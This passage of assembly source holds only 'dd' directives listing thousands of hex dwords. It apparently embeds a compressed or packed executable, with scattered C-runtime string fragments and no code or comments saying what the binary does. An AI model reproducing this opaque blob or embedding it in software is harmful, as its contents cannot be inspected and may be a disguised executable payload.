7CA631AEh, 0BACC703Dh dd 8369BA76h, 43234A9Dh, 11D42AD1h, 36FC6821h, 4E2309DEh dd 12CCB4A1h, 5A173C59h, 598C15FFh, 9743F61Bh, 82440A6h dd 73007D61h, 0D78D3BC5h, 417F610Bh, 126C5A3Dh, 4DB2F17Ch dd 5A3B6598h, 47581A96h, 0A901731Ch, 0E845636Ch, 0D7E70DEh dd 0C5D710E3h, 75A7FA81h, 1AF11E0Bh, 0BA5C858Dh, 91E956BCh dd 1E7F491h, 17139730h, 0AD6408C6h, 976DA3C1h, 0B0921259h dd 0F45CBDFCh, 0A540A86Ch, 763C5C82h, 5019F129h, 0F82FBB9Eh dd 8D83130Dh, 3036A02h, 4159CFF8h, 533C573Ch, 1A384ADBh dd 68FF7060h, 55635AE8h, 5716109Fh, 1D0BCB3Ah, 10EEE4E7h dd 4B6FF0Bh, 7C343FD3h, 10681611h, 277EA920h, 3C2CBC7Eh dd 2C095946h, 1826EB5Fh, 30B68D54h, 369513A3h, 880882E7h dd 1936F46Ah, 3D95050h, 6871985Eh, 5FED405Dh, 70CF9589h dd 0ADC0643Ch, 7A342583h, 6C700E2h, 67C34A38h, 8D0D30A3h dd 3D7A280Eh, 0C89D0110h, 958D1918h, 4C6CB68Ch, 61A83C7h dd 30548B14h, 4C502B0Dh, 6BAD580Ch, 8A077209h, 0F7CB149Ch dd 0E0DB24FAh, 0C551C84h, 0A6B1B28Eh, 6212B241h, 0CC571BDh dd 0C207605Ah, 0C10057FCh, 0CE8B0FEEh, 11FC7A8Bh, 0C904C969h dd 51584B09h, 18C178Dh, 89009944h, 4D89F45Dh, 0C608BF0h dd 980162C6h, 7F107524h, 0ADC0F9C1h, 895F493Fh, 0CF768391h dd 4B340376h, 4134C0Bh, 804033Bh, 56464875h, 20F98301h dd 70BF1C73h, 0EFD3809Ah, 14C8D00h, 21D7F704h, 44B0197Ch dd 2B8A8BFEh, 39218075h, 0C18324EBh, 7B1EE05Fh, 0BC21F12Dh dd 794997B0h, 79D00624h, 3151BA04h, 55627C69h, 40AD989h dd 0C0308E2h, 8792E2Ch, 0FB8B008Ch, 4F04FFC1h, 3F59FF83h dd 5F86C57Bh, 0E183F871h, 61EC9773h, 0C100A06Ah, 77FC552Bh dd 0C068A111h, 5A49F89Eh, 0A6CA5C3Bh, 89052E76h, 41CA59F3h dd 0DDFB1BC5h, 3B043E40h, 483176FAh, 74BF61FAh, 5041A66Bh dd 513BA161h, 0BA3BBD6Fh, 0D20EEA3Bh, 11E35421h, 0BDEE1EB7h dd 941721A7h, 9D51B3BDh, 49BF3852h, 784ABEB1h, 8E3040Bh dd 91E6119Ch, 0B1EC0362h, 5D130913h, 893DEE26h, 0C5F01DC4h dd 29A9F9B2h, 26CB0BD3h, 0EB82F89h, 8B41BB89h, 0E3B05h dd 4C8A6375h, 0EFB00407h, 4D058820h, 88C1FE0Fh, 25730BC0h dd 0B00F7D80h, 0B4BB0E46h, 0CF8B0B88h, 8B76EBD3h, 580D1909h dd 0B1B0448Dh, 0EB2D1809h, 12A62429h, 19E04F16h, 590B25DFh dd 7E2D0F04h, 0D8848D42h, 4E3809B7h, 450C548Bh, 0C01A89F0h dd 0FFFC1381h, 0FA489808h, 7669A1F3h, 0DF3AAC47h, 762C0D14h dd 10C73478h, 0C20FE1C1h, 9DBB0C78h, 0CCF8DBCh, 0C8CF5153h dd 0AF329D1Fh, 5009851Ch, 390EB708h, 0FE6140E4h, 6C6788A4h dd 0FC25357h, 0F14348FEh, 0AC0C480Ah, 13437927h, 4608305h dd 8311B0FEh, 0FF1A0878h, 5FE26C75h, 5ACE0C70h, 4209DC12h dd 9BA2F610h, 158B1BF4h, 19CB6AF2h, 5BCB2C92h, 2B1328C8h dd 110092C8h, 488D51ECh, 8A514614h, 33DB3D86h, 0FF0138B2h dd 1E2FB40Dh, 9934053Bh, 140A1835h, 0E23C96B1h, 4C340D89h dd 8E5EB60h, 891AA1A3h, 6AC6935h, 0CE2A9B3Dh, 2FCFF666h dd 8D570568h, 7B06823Ch, 176C61DCh, 17F04776h, 496E6A4Eh dd 0E7D0034h, 0D3FFCE83h, 0ED9883EEh, 0A4C380FFh, 267610EBh dd 8898F719h, 0EE85DD3h, 0A116DDA3h, 0D88B8169h, 7FB0DF3Bh dd 19137308h, 0BE14B8Bh, 12B233Bh, 0CF0BFE23h, 0C33B5875h dd 9A3B1436h, 0E7721878h dd 797507B8h, 3BDA8B0Bh, 154726D8h, 0EBE205D9h, 7519C2E6h dd 7324E059h, 407B8311h, 138C6708h, 5AEB29BCh, 263A37EDh dd 6E1B0D8Bh, 27EECF2Fh, 2B16080Eh, 851E7B3Eh, 147430DBh dd 0EF2B63E1h, 0EE5B6759h, 438B0105h, 0FF38A884h, 2B02440Fh dd 0DB1D8939h, 8B148BA5h, 0C7FA1616h, 84814A6Ch, 0D3908C7Fh dd 908061B6h, 17886A44h, 8B128B37h, 551C1170h, 6583DDE1h dd 0E60BE59h, 58D60B44h, 0B750B8Bh, 84918B17h, 8767B21Ch dd 8A60A11Ch, 223FE8Bh, 74D70B39h, 97388BE9h, 0FF6733CAh dd 58A8915Ch, 4C76D84Dh, 0CCE57B9h, 6A66FC0Fh, 5F64205Ch dd 7CC98500h, 47E1D105h, 8BF72EEBh, 0F9542C20h, 2B0A3343h dd 0C0F1997Fh, 4FEC17Bh, 0FE11834Eh, 0F8C37E3Fh, 61F73B5Eh dd 0ED010D9Bh, 386124E2h, 8D2B7D20h, 4018E911h, 589C8C38h dd 5ECF3D3h, 44885C23h, 0FE03C389h, 0EA74750Fh, 0EC026606h dd 31EB0B21h, 2B3B173Dh, 0A16D9572h, 192132C2h, 593629CFh dd 0C92CFA98h, 0A22DE85h, 707AC0DCh, 0CD00F804h, 19AF3795h dd 90DC087Ah, 943D84h, 0F9CEA9EAh, 0A50C2C42h, 0C2D722E6h dd 671649Ch, 7D0BE1FEh, 0B0C41929h, 5D000B99h, 62CD1188h dd 77668AB6h, 3B098CC2h, 8FF10AD6h, 0AE617C09h, 286F2FEBh dd 4E8D0D08h, 916B6D4h, 8BB1047Bh, 166FADBCh, 0EE0CBE3Bh dd 6AE93709h, 8911AF0Eh, 38B890Ah, 79A3B2FCh, 3F07582h dd 122C5D1h, 0FC3212A1h, 0E8B9F38h, 798D21B0h, 753E0FB0h dd 1D3B1A1Bh, 127542F2h, 6D3B4BE4h, 0BE0632A4h, 8911F26Bh dd 6042BA18h, 6C1EDB04h, 287A0D02h, 0A1FF5698h, 8D308C84h dd 73504DC4h, 9A0D5072h, 66F5792h, 954D6564h, 6D9CE588h dd 3C3DF9C0h, 41C468E1h, 847E50Eh, 10307C45h, 0F381348Dh dd 183395EBh, 2A1974DAh, 4E8A046Ah, 0C61E3C20h, 19842FB1h dd 0E750C8Ah, 6D64EB4Dh, 0FCCD24FCh, 0CE4E7C8Ch, 8902C524h dd 5FF047Eh, 419562DBh, 0C68B0A61h, 6C29E591h, 8B2C57DFh dd 41681771h, 0C5643B64h, 43E04FE3h, 3786C3CDh, 81D1C069h dd 30FB985Ah, 0C26282DBh, 0C508404Fh, 0BF310402h, 0FB1E394Ah dd 0E7C18561h, 4979DF98h, 1A00A60Ch, 0C68B7EA1h, 36083484h dd 0E52C0A08h, 1418978Dh, 5428600h, 478D3C77h, 0C2487788h dd 198883F2h, 8DF4387Eh, 6FC5C88h, 0FC401EC7h, 8542BBF0h dd 80FFEF0Eh, 0C70448A5h, 10BBE880h, 0D30514A2h, 0F02C6256h dd 61769618h, 4F8DC3C7h, 82E050Ch, 26359EC1h, 8DAC8958h dd 20774A52h, 648F3808h, 42449E2Ch, 0E39EBC26h, 43468A80h dd 0BD8C88Ah, 7AC06784h, 434E8800h, 78090375h, 0C5660456h dd 6865CB8Bh, 6A677E76h, 72B423D8h, 0A043DC1Dh, 223622h dd 708DD78Bh, 0C512B17h, 8251EBC6h, 0FEAC1EEh, 826A8433h dd 49FC4FC1h, 2C5C1D3Bh, 0D339547Bh, 17922C74h, 1C5F8E0Fh dd 87069541h, 8014F0Bh, 130D903h, 172458Fh, 0F0475B1Eh dd 898D3F23h, 4E8B0676h, 8B8D0759h, 5FE38E5Fh, 3BA24831h dd 9853351Fh, 611CDBF8h, 8D905C4Ch, 6E19673Eh, 639CAC21h dd 59D13E90h, 0E5084FC2h, 8A78952h, 0A47F1102h, 189F2C64h dd 0CD01CE2Bh, 0E1810CE9h, 0CE00AA9Bh, 18E743DBh, 44C9EE0Ch dd 0D4FC3114h, 31C8AC0Ch, 0E29C1C8Dh, 3F5B5BCBh, 59C0873h dd 0E745CE3Fh, 81E050Bh, 750E3B58h, 594E5C63h, 0C721F913h dd 0E5995613h, 0C165B8CBh, 6D25EBCFh, 714A0D20h, 0CCB96D84h dd 9127C16h, 4B5C104Bh, 32440E46h, 0DE9B7873h, 11114E86h dd 718C468Dh, 323C5842h, 2F20E2C8h, 46DB6D8h, 8D0FDB2Fh dd 5D51D03Ah, 59295D0Ch, 614BA3B9h, 1D335C36h, 12B3CEA4h dd 109EE846h, 0D7EC318Ch, 2AF66C5Eh, 68858AB9h, 0FC5775F7h dd 9776CE04h, 2D3B2621h, 0FE51C468h, 681E7AC7h, 99EB40E6h dd 0F796AE8h, 8B28750Eh, 792D6221h, 613314Bh, 76E57676h dd 8E7779A3h, 3977CE71h, 38EC571h, 589728Bh, 0B8D1753Eh dd 589A7BEDh, 4B276A5Ah, 5082E70h, 614B3B26h, 34EDF6D1h dd 61064DB0h, 0E28D0F9Eh, 39133FEBh, 0D1CE7161h, 0E535D20Fh dd 792621BAh, 0BC4EB361h, 3209845h, 6A184B98h, 32E26DFCh dd 44BD47F5h, 3D3BC771h, 8663B253h, 155DDB00h, 0F27E1AF7h dd 1DF78630h, 74635769h, 50F8233Ch, 25B6A16h, 8B557116h dd 0E3030760h, 6600631Eh, 2F1FC516h, 86352B1Ch, 4F8815B7h dd 61244EC6h, 1DED4C8Bh, 58896F65h, 11C59h, 74ED8504h dd 158F5509h, 28E41513h, 7DD50A6Fh, 82B29103h, 1940A31Dh dd 70E19A19h, 66040CA9h, 0C668105h, 3A91FBF7h, 16895F63h dd 446102Bh, 570A7E1Fh, 568CAF0Fh, 8B278181h, 570D77DEh dd 3D0DA4C2h, 0CC2A770Ah, 3BE9B4CDh, 0D340530Dh, 56736215h dd 0E4AF6EB2h, 72275E2h, 0B019CEA3h, 4BEB1474h, 0CC3A6EB9h dd 2FED4124h, 0C079255Bh, 6C5F43F8h, 10070BDBh, 0C8D35998h dd 74A8E031h, 0C49830Dh, 41C7080Ch, 0EB175C5Ah, 0AB580C11h dd 18145D41h, 483B12E9h, 61837838h, 1E8C680h, 6C24918Dh dd 3617290h, 0C2308398h, 86D11FE0h, 8D0C8B92h, 448A028Fh dd 10C204C1h, 58D0C340h, 0B185D233h, 2798B8DCh, 20627154h dd 6C42945Ch, 54A3153Dh, 13055BA3h, 4821D72h, 78187724h dd 34F70D4Dh, 9CD50405h, 10A32ACBh, 0F981C341h, 728B844Bh dd 0CA1E0712h, 0F10825F8h, 0AD090A76h, 228CDE75h, 1B633D73h dd 1FE2A1D0h, 1E318B7Dh, 5025E2D1h, 8C3EF26Bh, 50F8F648h dd 7BDD6912h, 57A45CD3h, 33DCC4C0h, 68B9EFB1h, 15C8B48h dd 8D323727h, 0C2A96890h, 0F61C730Bh, 5975740h, 0F1EB10CDh dd 12BA5E3h, 0DA069965h, 5454D968h, 474C232Ch, 0B52059C9h dd 0C57C94D0h, 0BE43EB16h, 9A568C35h, 0DB338FF9h, 6D296Ch dd 56CF54DAh, 6F142A56h, 5D112E00h, 0EBD60308h, 8ABD65E8h dd 5C0DDF59h, 562FEBBAh, 735706ECh, 0D8094D52h, 31583C83h dd 8DD33683h, 69A9ACAh, 0E8831E75h, 48101CC0h, 481B0874h dd 5151375h, 8C08EBF4h, 0C5CEF504h, 5F62604h, 98B903Ch dd 301C8907h, 0EA5B088Dh, 22C95BDDh, 0E20F3656h, 0A235576h dd 68D63C71h, 63D86907h, 7C583712h, 7D325F74h, 551F7516h dd 79C82B16h, 0E3494938h, 0A350A350h, 1183B850h, 0EEFF300Ch dd 8DDC5E57h, 0F666FC1Ch, 48D01F0h, 2364C14Ah, 0E93E04CEh dd 1C103B0Fh, 931853E8h, 0C1F60056h, 45C75780h, 1BBB0CE4h dd 19E88C31h, 1B0D2CD5h, 1FF45C6h, 65800B03h, 3A3226FFh dd 0D1B829ECh, 110D301Ch, 40C536F6h, 5390722h, 0C03277D4h dd 80FF4DA5h, 0C164B06Ah, 0C623025Eh, 2D74C32Bh, 0C6214662h dd 80DC1502h, 781D8925h, 0BC5936BDh, 0F7DC2546h, 8105ECDh dd 7EB400Fh, 0E0E8808Ch, 2C4A9BCEh, 201C0426h, 301C1874h dd 61E20A74h, 0F083B0BBh, 4549B0EBh, 355D8DF0h, 66F0CE39h dd 71CEA744h, 1A58F09Ah, 8E005C07h, 0CA23E004h, 73DBBFh dd 74357FC8h, 24CB3B2Eh, 0E0C62A74h, 5D5ACD1Dh, 0ECEA1916h dd 58569907h, 0AC8B6E46h, 477F6722h, 0F80E3767h, 5E2E8B04h dd 29EBF805h, 170522CEh, 3C071A74h, 0C5AA0906h, 0ACC70E2Dh dd 0F8178234h, 0A3002D18h, 936F814h, 68BE0C22h, 0C2CAC753h dd 0E0680D01h, 23D1F7D3h, 37144E4Dh, 30A19A8Dh, 5D810A33h dd 0F701FCEh, 58F601F6h, 3202CDC4h, 0DF31F70Bh, 0B0146D08h dd 0B1A80A06h, 0B6D0611h dd 636EA2A1h, 0FFCF0B38h, 0F6DF3B26h, 18CB9A5Eh, 633E4671h dd 0A2665698h, 0E42CF20Ch, 0F0410650h, 884D0365h, 97AB941Eh dd 8D8CF711h, 0A595F56h, 0F3561B75h, 53AD79A4h, 0CBCBC89Eh dd 2DDA466Ch, 0B19BAC6Dh, 6D8B0965h, 814A6ADh, 322B759Ah dd 7E672529h, 8BF30126h, 1E010CCBh, 4588081Fh, 0B022F40Bh dd 0D5480BF2h, 75049482h, 0BCE2378h, 4F8F674h, 266E7402h dd 0D5FF3A48h, 958948C9h, 81DC8C8Dh, 8317898Dh, 4D7405B4h dd 36853FEBh, 0B4880013h, 51060C13h, 56216B53h, 1C486365h dd 15C9F71Ah, 4B734142h, 9512650Ch, 9E981BE3h, 0C752D12h dd 0E02F050Dh, 30782759h, 0DC04E919h, 8547966h, 80072E61h dd 20D58C01h, 0A06B6C5Bh, 0D177BC62h, 6C5374FEh, 859D0492h dd 4E044FC4h, 636BCE8Eh, 6D4B17CCh, 0A48D6A03h, 237A4E24h dd 469BFF8Bh, 3183157h, 0B0FA368h, 8441018Ah, 0E3B1736h dd 60F17586h, 0FEFFBAB4h, 37EFE04h, 65C383D0h, 9639C233h dd 14AB0A9h, 0E8742B81h, 26FC17C9h, 0E484230Dh, 67A9168Dh dd 0E1738E3h, 1DC06206h, 8DCDEB02h, 0D9D7958h, 19FE04B1h dd 0FD04C6A9h, 2E048ACEh, 0C5F60FCh, 8A190E5Fh, 74D20111h dd 47178864h, 9EE627Ch, 178905EBh, 67DB7D19h, 0A3696E9Fh dd 0CB6B3ABAh, 34802FE1h, 2774F684h, 0CBC273F7h, 3F071269h dd 38C72C6Ah, 1708DDDCh, 866C35Fh, 0CE47C686h, 8B70CBEh dd 0DD078817h, 2F7E3FDFh, 401DDE14h, 1DB0544h, 323CE3FBh dd 0EE13F824h, 0C2354126h, 0C7C3C12Bh, 0FD59FE09h, 8DFC7ED6h dd 0E818903Fh, 28AB5B08h, 358B6839h, 0CE780022h, 0F0C1055h dd 0F44E6A84h, 48E5DB48h, 0D209A056h, 0D68708B8h, 15DB3923h dd 30B78872h, 0B4F8E363h, 50E82EC3h, 0D498C373h, 24388234h dd 40536A01h, 20BF050Dh, 7D12CB79h, 0C1350556h, 0F350C3CFh dd 4730AAABh, 0FE07A24h, 30CDEF86h, 18EE7D0Ah, 4DE8BB3Ch dd 0B374EF4Ch, 62B90343h, 0B9C9B60Fh, 28584E19h, 93872D0Fh dd 34881A25h, 0EE00D856h, 483852B7h, 5234208Dh, 0E780EEC9h dd 9E8DAA04h, 8084B818h, 1823993Bh, 8A112C36h, 0CE360151h dd 0FAB685E0h, 77C7303Bh, 8AFC3360h, 1689C792h, 8B469008h dd 76001340h, 804141F5h, 0D412B139h, 8308EAA6h, 993008C3h dd 0C1617204h, 0DBAA09Bh, 671B781Ch, 0FDA35016h, 3A020B97h dd 0CB68D49h, 10BF3BE2h, 62A50FE4h, 0BBD0A393h, 555DEBA5h dd 39403240h, 0DFE94890h, 804A1B1h, 6D8E3D40h, 56F17216h dd 3B2CDF39h, 6EB8554h, 390BFA9Dh, 0AB4DD9C2h, 81C10064h dd 5AC41D39h, 0E7C5697Bh, 4A27C3Ah, 3241CA5h, 0B4DFFAA0h dd 0E8568C15h, 55980021h, 4B755CFEh, 8E089C4h, 9BA025FFh dd 14FD2F6Ah, 0FC609CC7h, 59A10F75h, 19DE13F0h, 6E2D49ECh dd 74314EA4h, 4238222h, 4C11774h, 590C740Dh, 2BD58EDEh dd 0B84504B8h, 4EC1205h, 113C0874h, 6C995704h, 6C2FE68Bh dd 0D6B4AA97h, 0C5A3CB17h, 0C3DEDC4Eh, 4D795F6Ah, 461A43Ah dd 0E99956ECh, 0A9B3836h, 3D7316CFh, 880A1A1Ah, 3B070584h dd 0A8634029h, 0F2BA30F4h, 0D855AC6h, 3BE2037h, 8D575337h dd 0B6606155h, 0C002600Ah, 7720C13Bh, 0BC0B621Dh, 0B8412AD8h dd 8B00205Ch, 9C67D954h, 0C4DE2C84h, 0AAF3C2C0h, 8A164242h dd 334FF42h, 5B5FD075h, 9349536Ah, 359683FAh, 0B7A9F8Dh dd 6E568D50h, 0A1696289h, 6723D567h, 8B1D4EFDh, 56591E56h dd 23E33479h, 0FCB3B942h, 0A76821AEh, 317A277Eh, 0CA615CE2h dd 72688D8Dh, 88FC8C66h, 16743EC2h, 1610FA78h, 6405948Ah dd 20908883h, 461CEBC6h, 10741741h, 8E208E1Ah, 0E3EB05FCh dd 1CA4A080h, 3C652E32h, 0EBBF00C2h, 60157D49h, 19724125h dd 0B35A04B1h, 0C84BA8AAh, 20C18005h, 49B28888h, 6118C11Fh dd 4601372h, 0B50E777Ah, 0E91D384Eh, 0E0EB2016h, 9A4AA74Ch dd 838830BEh, 8BD3C53Dh, 178F33D3h, 3809A9FDh, 0FC8C5966h dd 62B05E68h, 77C868D8h, 681342ECh, 479E6450h, 9368A2A8h dd 358B1767h, 68170BA4h, 461644h, 0BD67D634h, 8B744529h dd 0C21034FAh, 7D02068h, 14BBCCA3h, 0D0A30C83h, 0CCA18577h dd 0AC16B578h, 0A699ABB1h, 0D0A117BCh, 53058510h, 38AE11A6h dd 0CE6203EAh, 0F99A4D07h, 6FCC93h, 578C6E66h, 0C7AF3B1h dd 0CDEB2CBh, 0F7141927h, 74EDA6C6h, 70CD59F5h, 0EB6F75EEh dd 68A210Ch, 46C08C46h, 224ECD49h, 1B1F295Eh, 600CEB75h dd 0E3835175h, 0D740317h, 421D9E20h, 0C3B9C92Fh, 5E5B10E3h dd 79268F66h, 3A819DD9h, 8A1E4F23h, 0C49911F9h, 776C3AF1h dd 0FA162E18h, 9978672Ah, 1563D7B7h, 6DAE3AFh, 833F16A8h dd 2CDE3CC6h, 0CF31EF3h, 60C675E1h, 8118EB39h, 0F3FFE223h dd 0F30E09BCh, 0C1DB400h, 0F19C53D3h, 40A5855h, 5F075A89h dd 0B0F87517h, 0A3857516h, 0BF53CCA3h, 4F280EF5h, 4E7640F8h dd 1E4F383Eh, 50384EBCh, 4E707C4Eh, 0F7EB4EA0h, 0BF35255Ch dd 9B25927Bh, 0E53FF7BFh, 0C06CB1Fh, 38049E03h, 0F3F44EFCh dd 3DE4CFECh, 0BFAB29DCh, 0FF09B2B5h, 7340F0D1h, 60CF4C03h dd 0ACBF7A4Ah, 8F5075C0h, 0C8AC5070h, 2CE84F76h, 0BD85C90h dd 2003B8F8h, 0BFF7D450h, 0AF292939h, 9429DCBFh, 5BEFBFDFh dd 970674CBh, 843C037Ch, 0CF94F38Ch, 0B7A43C9Ch, 0AEBFA6F4h dd 0D08B1FD7h, 3D89705h, 0F4FCE83Ch, 91AEBFA6h, 0E4543FE8h dd 9C6CD29Ah, 23644746h, 18A1CA8Ah, 0FA4C8391h, 992D4C81h dd 740C26AEh, 0D3D12B08h, 8BE76100h, 83D380C8h, 0C91006A3h dd 2ACDD7CAh, 0CF067410h, 44E3A4Fh, 234A472Ch, 448E82A7h dd 0B888CD56h, 463034BCh, 6481ACBh, 1D3BF633h, 151E9E5Bh dd 0A9FE8A01h, 0C844F609h, 0F90D5804h, 567162F5h, 626A5A0Fh dd 17D1EB3Dh, 14E3F602h, 0E33AD0D6h, 6F447F4Bh, 7256A45Ah dd 34F0001Dh, 0BD06C9D3h, 460E329Dh, 45825851h, 46920C5Bh dd 0B17D341Ah, 29795006h, 0EFF2AD15h, 4974ED51h, 0D7EB1808h dd 11C93483h, 6B0A7505h, 0DDCD446Bh, 4DC09579h, 40EB5959h dd 979F7D61h, 0D391B910h, 52502C05h, 0ACD3E7C4h, 0F7F08B80h dd 0B2F61BDEh, 6A30AC03h, 0D2BB7DFFh, 0B4990D44h, 3DA33FD3h dd 0A87DE708h, 0DEBB861h, 0FA68F27h, 0FF6A02CEh, 3A1C6868h dd 57F82C68h, 0A1643604h, 7985951Fh, 7A52589h, 6C2CAC19h dd 0E8658918h, 433DA718h, 75841FF8h, 7DA65746h, 68535B03h dd 6D9A6460h, 1DBA4344h, 89DAB81Ch, 1C231D5Ah, 20E322EBh dd 1D1BDD5Ch, 0A848ACB4h, 747C72EEh, 8113A31Fh, 7E147D39h dd 0C1F80410h, 43E4DD44h, 1DA116B4h, 1D447298h, 8B1C16C5h dd 0CB1F1802h, 8DD1B000h, 6630ECB4h, 0ABA64944h, 6544D38Bh dd 0D3189420h, 203C8B3Fh, 4C2E3E73h, 6C24617Fh, 40510878h dd 3720CB8Bh, 8B54B01Eh, 3BE4B2C1h, 9C8561DFh, 589CCA00h dd 831B0304h, 0FC2403C0h, 0DEE23A6Dh, 41C2C48Bh, 0D9AB83DCh dd 3913EB0Ch, 0F0698BD5h, 0CB1126CEh, 6738388Bh, 667416DCh dd 0DC2F4C53h, 0D6213961h, 4DF4F257h, 9F1A78CFh, 2C0A2DA5h dd 75891299h, 323660D8h, 0D0B45F6h, 3E407404h, 3C781C16h dd 0D5B03BB2h, 0DABC1E7Fh, 219732EAh, 8E8F851Ah, 658D14A1h dd 0C7A3B2C8h, 69490D7Fh, 3DE7095Bh, 0C5361FB3h, 0E0D38BDCh dd 581267B3h, 0B2B6DB33h, 74DF7DF0h, 64565CB4h, 6267B5E4h dd 8FEE9C74h, 47516B3h dd 6EB1703h, 25289C8Ch, 3DDD2068h, 797812D5h, 71B1C4F3h dd 0C6933C23h, 0C1C86D71h, 6072D308h, 4A8D5686h, 0AE63FF48h dd 0ABA03238h, 49F10CF2h, 0B8F32418h, 23755E0Ch, 43912B05h dd 4E7CC28Bh, 188FFA80h, 41780A80h, 0A9C310D3h, 3E75C306h dd 0CC26739Dh, 0D0515636h, 0F1149862h, 8B4104A5h, 461B1D48h dd 5349F156h, 0CEE418C7h, 3758A76Ch, 0C92DFCA3h, 1CF28B24h dd 0A1058549h, 3310D3E0h, 337950D1h, 3F46C2E3h, 0E894346Ch dd 0B818755Dh, 2CBC538Dh, 6F2041E3h, 71183E34h, 5661E01Fh dd 0BA866374h, 0EB3C8D10h, 0F4F17C38h, 31DCE231h, 0CD8356F8h dd 6A0BEBE2h, 13654883h, 0D8683A4h, 2F49292Ch, 395F56E0h dd 0F755D61Ch, 0D74EA452h, 1420935Bh, 0F563F279h, 5856FDCCh dd 575A73E1h, 548DE168h, 0CD4C8AC2h, 0C614E03h, 0BEC18A3Eh dd 972583D1h, 65392829h, 800882C5h, 0E8317FE1h, 7D24581h dd 117539B0h, 80C98016h, 0A8882DCh, 0C3846766h, 0C35EC605h dd 0EBC6295Ah, 660F7E0Ah, 3D51C6B6h, 984CE56Ch, 142772F3h dd 560B3C81h, 42102DDDh, 17D80185h, 2B6CEC73h, 0CC458A0h dd 8BE1368Bh, 4400413h, 1FBAC350h, 5C55D5E4h, 184C685Eh dd 0A56C92F3h, 5DCB2E48h, 0E58B1AC7h, 412F6C5Dh, 60438h dd 0AC8B86Dh, 0C4D20F74h, 61865375h, 8D3AB802h, 6E53D907h dd 0FE3607A6h, 9344D88h, 6A435FFh, 19C234FBh, 0C3588B20h dd 3B0C702Fh, 0E0702CE8h, 287424E2h, 76348D13h, 89B30D0Bh dd 1770BD27h, 441B37Ch, 1684F85h, 5A44F468h, 47057DB3h dd 8154FFD1h, 64C3EB08h, 9792A68Fh, 62D94BA1h, 616C8B64h dd 4792D81h, 0B22D2368h, 0C52B560h, 97C5C039h, 8A9BB705h dd 0BB5104h, 3F1810EBh, 21CD6808h, 0C6437B1Ch, 0C6B0A3Dh dd 58EA2659h, 43015620h, 43583032h, 8CA63030h, 44FA088Bh dd 0ACD54EFCh, 40F72D42h, 3D67A6E4h, 348E2B82h, 7E4C4475h dd 383E08E7h, 7BE17321h, 61C16808h, 760C8D16h, 748F38B1h dd 55564502h, 0CE106B8Dh, 5D170BA8h, 0B36415Eh, 78330BF5h dd 0AB253Ch, 0B38BFB65h, 8EAB1D04h, 8B3D4763h, 61B43608h dd 798F4436h, 8FD258DEh, 720C55B1h, 30EF083Bh, 348B011Ah dd 0B8A1EB8Fh, 5BEBDB68h, 0EB16C91Ch, 8B9B5C15h, 5DCB3F3Ah dd 51946B16h, 80953B55h, 418B293Ah, 3B0501Ch, 24B55018h dd 37FFE1BCh, 2F95B825h, 0E55F0000h, 10D182E1h, 3C31317h dd 9A8F127Bh, 38155E1Ch, 0F3111303h, 1527C517h, 77D81FF8h dd 7572F014h, 69746E00h, 6520656Dh, 6F721272h, 0D62B072h dd 5403B00Ah, 614F664Ch, 0EE8117Ch, 49530E00h, 60F6474Eh dd 414D4F59h, 11B812B3h, 30360B52h, 0B083832h, 74B202Dh dd 6C6261h, 69206F74h, 56B0696Eh, 692C6C61h, 680B0D7Ah dd 37706165h, 378E27CEh, 746F6E82h, 11043DCEh, 37816775h dd 63617073h, 0E0662362h, 776F6C7Bh, 9638B769h, 6F160661h dd 36E3376Eh, 74730FEBh, 0E835BC64h, 72752C70h, 6976052Bh dd 9C757472h, 0A5E23321h, 2023D063h, 6C0CB163h, 27D1286Dh dd 0CB5F7A34h, 650B2A5Fh, 2F165C78h, 0E7067458h, 5F4EE2DCh dd 7E3931B1h, 706F0BF7h, 31B85865h, 0F6F5C73h, 73655864h dd 9F2BB763h, 0CE463938h, 65138124h, 576B1964h, 3723A3D3h dd 752C6DFCh, 742CAC6Ch, 6127BF68h, 63162164h, 7BA92F6Bh dd 96349F17h, 612EB764h, 0A202E72Eh, 4E722138h, 7058006Dh dd 72166740h, 71206D61h, 36326D4Ah, 302F2FFCh, 975B4F39h dd 2A714110h, 7407626Dh, 8F2B2EEEh, 1661AC38h, 28756772h dd 5FA97389h, 452B6067h, 6EC19E66h, 82676E2Ch, 74056F58h dd 11F53AB6h, 7F64268Bh, 2DCE4DC4h, 66395860h, 695615B0h dd 1AA734Dh, 202B2B43h, 16A0BE52h, 0B462694Ch, 27797216h dd 73A70A8Dh, 0D145E416h, 1162210Eh, 3AD4F150h, 2E85CB55h dd 3C000B00h, 0E09E53E5h, 6B2CE225h, 6E776CC1h, 471B603Eh dd 4C367465h, 41373261h, 65760902h, 75AE8550h, 0F13B770h dd 958B57C5h, 87382664h, 73730065h, 42656761h, 4156786Fh dd 2573269Fh, 2E323306h, 0FC2AC864h, 0FF5C56h, 3F5346CEh dd 0E803D22Eh, 5470820Bh, 6F85486h, 560A5670h, 6E64C8E1h dd 65E41731h, 0C5602A09h, 13B865A1h, 0C066710Ch, 94E801EEh dd 659E27B8h, 0C365AAE1h, 0CC8765C0h, 68AE0E65h, 38689C1Ch dd 7018688Ch, 0E1662A66h, 44C36638h, 66548766h, 1C66600Eh dd 7A38666Ch, 66708E66h, 0B4E366A2h, 0D23CC4CFh, 0C7F6F3E4h dd 100E6704h, 671C1C67h, 38672A38h, 67466770h, 0C36760E1h dd 9087677Ah, 67A80E67h, 0F3D2C23Ch, 2EF4CFE0h, 125C7704h dd 28F31E03h, 463C34CFh, 0CF66F356h, 0D1C03D7Ch, 0E768F201h dd 2ED7B566h, 78453658h, 430C79D0h, 46797230h, 591C6946h dd 4D776C59h, 75646F16h, 4C10740Ch, 14EDA74Eh, 0D9DC1CBh dd 269D6372h, 7821BD0Bh, 446C7393h, 6210DD7Bh, 17E079EAh dd 4E52454Bh, 954C4526h, 43724CE3h, 0DD34C953h, 0D3A3458h dd 0B8824923h, 5359550Bh, 0F725DC28h, 6D117C4Bh, 594E009Ch dd 7FD4294Ch, 6EDD564Ch, 1FE8FF73h, 588D8E48h, 0BE656446h dd 4D259A2Bh, 2C0FBA5Ch, 745B5C57h, 37CD4DA5h, 330A7E55h dd 0A7114500h, 30633779h, 1F540E79h, 12652D50h, 75CB75CEh dd 770B3646h, 13539627h, 0E786482Eh, 0C5278F42h, 0C0E2257Eh dd 0F714F364h, 5443620Fh, 0A8053379h, 0BDCE611Dh, 6E497011h dd 41415D8Bh, 50881FCEh, 749D46D3h, 19994EBDh, 23DF6C41h dd 8A0BBE0Dh, 2588EE53h, 386544A1h, 0BE796F60h, 2443670Dh dd 951B742Dh, 0F71FE556h, 45440602h, 5E5EF16Eh, 19417317h dd 8BF557ACh, 16D264AAh, 540CA868h, 0B5D04D6Fh, 745F7942h dd 0CF2E75BDh, 